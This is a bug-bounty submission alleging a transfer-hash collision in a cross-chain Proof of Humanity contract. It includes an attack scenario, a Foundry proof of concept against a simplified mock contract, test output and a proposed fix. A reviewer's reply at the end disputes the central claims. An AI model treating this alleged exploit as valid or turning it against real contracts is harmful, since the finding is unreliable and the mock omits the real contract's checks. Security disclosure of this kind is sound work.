Transfer Hash Collision Allows Malicious Takeover of Humanity IDs

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0xaf1a5eeff9e700e9c7fa7560a4353a8fb8e3c8c3a647e31952527588ed7be2ba Severity: high

Description:

Transfer Hash Collision Allows Malicious Takeover of Humanity IDs

Description

The receiveTransfer function in the CrossChainProofOfHumanity contract is vulnerable to a transfer hash collision attack. This vulnerability allows a malicious actor to potentially block legitimate transfers and take over Humanity IDs that were intended for other users.

The vulnerability arises from the following issues:

1. The function only checks if the _transferHash has been received before, not if the _humanityId is already associated with an owner.
2. If the success condition is true, it overwrites the existing humanity data without checking if it belongs to a different owner.
3. The receivedTransferHashes[_transferHash] is set to true at the end of the function, regardless of whether the transfer was successful or not.

Attack Scenario

1. Alice initiates a legitimate transfer of her Humanity ID from Chain A to Chain B.
2. Before Alice's transfer is processed on Chain B, an attacker, Eve, observes the transfer details.
3. Eve quickly submits a malicious transfer to Chain B with the same transfer hash but using her own address as the owner.
4. Eve's transfer is processed first, marking the transfer hash as received.
5. When Alice's legitimate transfer arrives, it's rejected due to the transfer hash already being marked as received.
6. Eve now controls Alice's Humanity ID on Chain B, effectively stealing her identity in the Proof of Humanity system.

Proof of Concept

pragma solidity ^0.8.25;

import "forge-std/Test.sol";

contract MockCrossChainProofOfHumanity {
    mapping(bytes32 => bool) public receivedTransferHashes;
    mapping(bytes20 => CrossChainHumanity) public humanityData;

    struct CrossChainHumanity {
        address owner;
        uint40 expirationTime;
        uint40 lastTransferTime;
        bool isHomeChain;
    }

    function receiveTransfer(address _owner, bytes20 _humanityId, uint40 _expirationTime, bytes32 _transferHash)
        external
    {
        require(!receivedTransferHashes[_transferHash], "Transfer already received");

        CrossChainHumanity storage humanity = humanityData[_humanityId];

        humanity.owner = _owner;
        humanity.expirationTime = _expirationTime;
        humanity.isHomeChain = true;
        humanity.lastTransferTime = uint40(block.timestamp);

        receivedTransferHashes[_transferHash] = true;
    }
}

contract VulnerabilityTest is Test {
    MockCrossChainProofOfHumanity public ccpoh;

    function setUp() public {
        ccpoh = new MockCrossChainProofOfHumanity();
    }

    function testTransferBlocking() public {
        bytes20 humanityId = bytes20(uint160(address(1)));
        address owner = address(2);
        uint40 expirationTime = uint40(block.timestamp + 365 days);
        bytes32 transferHash = keccak256(abi.encodePacked(humanityId, owner, expirationTime));

        // Malicious transfer
        ccpoh.receiveTransfer(address(3), humanityId, expirationTime, transferHash);

        // Legitimate transfer (blocked)
        vm.expectRevert("Transfer already received");
        ccpoh.receiveTransfer(owner, humanityId, expirationTime, transferHash);

        (address storedOwner, , , ) = ccpoh.humanityData(humanityId);
        assertEq(storedOwner, address(3), "Malicious transfer should have succeeded");
    }
}

Test Output

Ran 1 test for test/VulnerabilityTest.t.sol:VulnerabilityTest
[PASS] testTransferBlocking() (gas: 57446)
Traces:
  [57446] VulnerabilityTest::testTransferBlocking()
    ├─ [45166] MockCrossChainProofOfHumanity::receiveTransfer(0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000001000000000000000000000000, 31536001 [3.153e7], 0xf54e1cc4bb11dbb94484eb2de22518a87e125aa4a0ddf87679548e25a9edf64c)
    │   └─ ← [Stop]
    ├─ [0] VM::expectRevert(Transfer already received)
    │   └─ ← [Return]
    ├─ [698] MockCrossChainProofOfHumanity::receiveTransfer(0x0000000000000000000000000000000000000002, 0x0000000000000000000000000000000000000001000000000000000000000000, 31536001 [3.153e7], 0xf54e1cc4bb11dbb94484eb2de22518a87e125aa4a0ddf87679548e25a9edf64c)
    │   └─ ← [Revert] revert: Transfer already received
    ├─ [709] MockCrossChainProofOfHumanity::humanityData(0x0000000000000000000000000000000000000001000000000000000000000000) [staticcall]
    │   └─ ← [Return] 0x0000000000000000000000000000000000000003, 31536001 [3.153e7], 1, true
    ├─ [0] VM::assertEq(0x0000000000000000000000000000000000000003, 0x0000000000000000000000000000000000000003, "Malicious transfer should have succeeded") [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.47ms (861.89µs CPU time)

Ran 1 test suite in 11.97ms (7.47ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Fix

To address this vulnerability, consider implementing the following changes:

1. Check if the _humanityId is already associated with an owner before processing the transfer.
2. Only mark the _transferHash as received if the transfer is successful.
3. Implement a time-lock mechanism for transfers to give legitimate owners time to dispute malicious transfers.

Here's a potential fix:

function receiveTransfer(
    address _owner,
    bytes20 _humanityId,
    uint40 _expirationTime,
    bytes32 _transferHash
) external override allowedGateway(msg.sender) {
    require(!receivedTransferHashes[_transferHash], "Transfer already received");

    CrossChainHumanity storage humanity = humanityData[_humanityId];
    require(humanity.owner == address(0), "Humanity already claimed");

    bool success = proofOfHumanity.ccGrantHumanity(_humanityId, _owner, _expirationTime);

    if (success) {
        accountHumanity[_owner] = _humanityId;
        humanity.owner = _owner;
        humanity.expirationTime = _expirationTime;
        humanity.isHomeChain = true;
        humanity.lastTransferTime = uint40(block.timestamp);

        receivedTransferHashes[_transferHash] = true;
        emit TransferReceived(_humanityId, _owner, _expirationTime, _transferHash);
    } else {
        revert("Transfer failed");
    }
}

This fix ensures that a humanity can only be claimed if it wasn't already claimed, preventing malicious actors from overwriting existing claims.

The vulnerability allows an attacker to take over someone else's Humanity ID. The proposed fix addresses the issue by adding additional checks to ensure that a humanity can only be claimed if it wasn't already claimed, thus preventing malicious actors from overwriting existing claims.

[clesaege]

"Description: 2. If the success condition is true, it overwrites the existing humanity data without checking if it belongs to a different owner." This seems to be incorrect as if there is already an existing humanity on the receiving chain, it will not be overwritten.

"Attack Scenario: 3. Eve quickly submits a malicious transfer to Chain B with the same transfer hash but using her own address as the owner." This doesn't seem possible as the transfer hash is function of the Humanity ID. And as per "Attack Scenario: 1. Alice initiates a legitimate transfer of her Humanity ID from Chain A to Chain B." Alice is the owner of this Humanity ID.